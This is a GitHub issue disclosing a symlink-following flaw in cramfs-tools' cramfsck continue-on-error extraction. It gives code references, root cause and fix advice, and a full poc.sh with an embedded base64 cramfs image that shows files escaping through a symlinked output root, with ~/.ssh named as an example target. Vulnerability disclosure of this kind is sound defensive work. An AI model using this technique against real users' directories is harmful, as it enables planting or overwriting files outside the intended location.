Skip to content

cramfs-tools cramfsck -c -x — Continue-on-Error Extraction Through Preexisting Root Symlink #13

@Nicholas-wei

Description

@Nicholas-wei

cramfs-tools cramfsck contains a hostile-prestate filesystem issue in continue-on-error mode (-c): if the chosen extraction directory already exists as a symlink, cramfsck -x records the mkdir() failure but still continues extraction and performs filesystem writes through the symlink target, outside the intended destination directory. This aligns with CWE-59: Improper Link Resolution Before File Access.

One realistic attack scenario is a “malicious repo / firmware sample bundle” that includes a symlinked output directory and a cramfs image that looks harmless (no ../ traversal needed inside the filesystem image):

repo/
|-- out -> ~/.ssh/          (preexisting symlink; attacker-controlled repo content)
`-- rootfs.cramfs           (attacker-controlled cramfs image)

Victim workflow:

  1. Victim runs “best effort” extraction because images may be corrupted: cramfsck -c -x out rootfs.cramfs (commonly in IoT firmware extraction scenario)
  2. cramfsck prints an error for mkdir(out) but continues.

If rootfs.cramfs contains a normal entry like pwn.txt (or dir/pwn.txt), cramfsck can end up creating ~/.ssh/pwn.txt (or ~/.ssh/dir/pwn.txt) within the victim’s permissions. The escape happens because destination path resolution follows a preexisting symlink at the extraction root.

A preexisting extraction-root symlink causes mkdir() to fail but extraction continues and writes through the symlink target.

0. Environment

  • Target: test_target/cramfs-tools/cramfsck (extraction: cramfsck -c -x), plus test_target/cramfs-tools/mkcramfs for PoC image generation
  • Version: cramfs-tools HEAD 6039143acbf2 (repo: test_target/cramfs-tools/)
  • Build (from repository root):
make -C test_target/cramfs-tools -j"$(nproc)"
  • Binaries: test_target/cramfs-tools/cramfsck, test_target/cramfs-tools/mkcramfs

1. Description

In continue-on-error mode (-c), cramfsck -x logs extraction errors but does not abort control flow. If the extraction root already exists as a symlink, the initial mkdir() failure is recorded and extraction continues through the symlink target.

Relevant code:

  • test_target/cramfs-tools/cramfsck.c:125-150die(...) only records the error when opt_continue > 0.
  • test_target/cramfs-tools/cramfsck.c:557-562 — directory extraction calls mkdir(path, ...) and reports failure through die(...) but continues control flow.
  • test_target/cramfs-tools/cramfsck.c:623-628 — regular files are opened with open(path, O_WRONLY | O_CREAT | O_EXCL, ...), which still follows a preexisting root symlink.

2. Impact

When -c is used, a hostile preexisting extraction root symlink can redirect writes outside the intended destination directory.

Practical impact includes:

  • escaping into attacker-chosen directories during “best effort” extraction workflows;
  • producing misleading extraction results because the tool reports an error but still writes data elsewhere;
  • increasing risk in recovery or triage pipelines that use -c on malformed images.

3. Reason / Root Cause

The extractor assumes that a reported error is enough to safely continue.

That is false here: after mkdir("out", ...) fails because out is a symlink, subsequent path operations still use out/... and therefore follow the symlink target.

This is an error-recovery control-flow bug.

4. Proof-of-Concept

4.1 PoC file

  • Runner: poc.sh

4.2 What the PoC does

The PoC:

  1. Builds a valid cramfs image containing pwn.txt.
  2. Pre-creates out -> outside.
  3. Runs the in-tree cramfsck -c -x out.
  4. Verifies that outside/pwn.txt is created.

4.3 Expected result

Successful exploitation creates:

  • /tmp/unpfuzz_cramfs_symlink/outside/pwn.txt

even though extraction was requested into:

  • /tmp/unpfuzz_cramfs_symlink/out

5. Fix Recommendations

  1. Treat extraction-root creation failure as fatal when the target path already exists but is not a real directory.
  2. In continue mode, distinguish recoverable parse errors from unrecoverable destination-state violations.
  3. Use lstat() to reject symlink extraction roots before any recursive extraction begins.
  4. Add regression tests for -c -x with preexisting symlink roots.

6. Reproduction

From the repository root:

./poc.sh

Below is the poc.sh

#!/usr/bin/env bash
set -euo pipefail

CRAMFSCK_BIN="${CRAMFSCK_BIN:-cramfsck}"
CRAMFS_TOOLS_SRC="${CRAMFS_TOOLS_SRC:-}"

ensure_bin() {
  local bin="$1"
  if [[ "$bin" == */* ]]; then
    [[ -x "$bin" ]]
    return
  fi
  command -v "$bin" >/dev/null 2>&1
}

build_tools_if_needed() {
  if [[ -z "$CRAMFS_TOOLS_SRC" ]]; then
    return
  fi

  local build_dir="/tmp/unpfuzz_build_cramfs_tools"
  rm -rf "$build_dir"
  mkdir -p "$build_dir"

  cp -a "$CRAMFS_TOOLS_SRC"/. "$build_dir"/
  make -C "$build_dir" -j"$(nproc)" >/dev/null

  CRAMFSCK_BIN="$build_dir/cramfsck"
}

if ! ensure_bin "$CRAMFSCK_BIN"; then
  true
fi

if ! ensure_bin "$CRAMFSCK_BIN"; then
  build_tools_if_needed
fi

if ! ensure_bin "$CRAMFSCK_BIN"; then
  echo "error: cramfs extractor not found. Set CRAMFSCK_BIN=/path/to/cramfsck (or install cramfs-tools)." >&2
  exit 1
fi

base=/tmp/unpfuzz_cramfs_symlink
rm -rf "$base"
mkdir -p "$base/outside"

# A tiny cramfs image (4KB) containing one regular file: `pwn.txt` with contents `CRAMFS\n`.
python3 - <<'PY'
import base64
from pathlib import Path

out = Path("/tmp/unpfuzz_cramfs_symlink/test.cramfs")
b64 = """
RT3NKAAQAAADAAAAAAAAAENvbXByZXNzZWQgUk9NRlNQSM9AAAAAAAEAAAACAAAAQ29tcHJlc3Nl
ZAAAAAAAAO1B6AMUAADowAQAAKSB6AMHAADoAgYAAHB3bi50eHQAcwAAAHjacw5y9HUL5gIAB8MB
xwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA==
"""
out.write_bytes(base64.b64decode("".join(b64.split())))
PY

ln -s outside "$base/out"

(cd "$base" && "$CRAMFSCK_BIN" -c -x out test.cramfs >/dev/null 2>&1 || true)

if [[ ! -f "$base/outside/pwn.txt" ]]; then
  echo "[-] exploit failed: outside file was not created" >&2
  find "$base" -maxdepth 2 -ls >&2
  exit 1
fi

echo "[+] continue mode extracted through symlink root"
cat "$base/outside/pwn.txt"

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions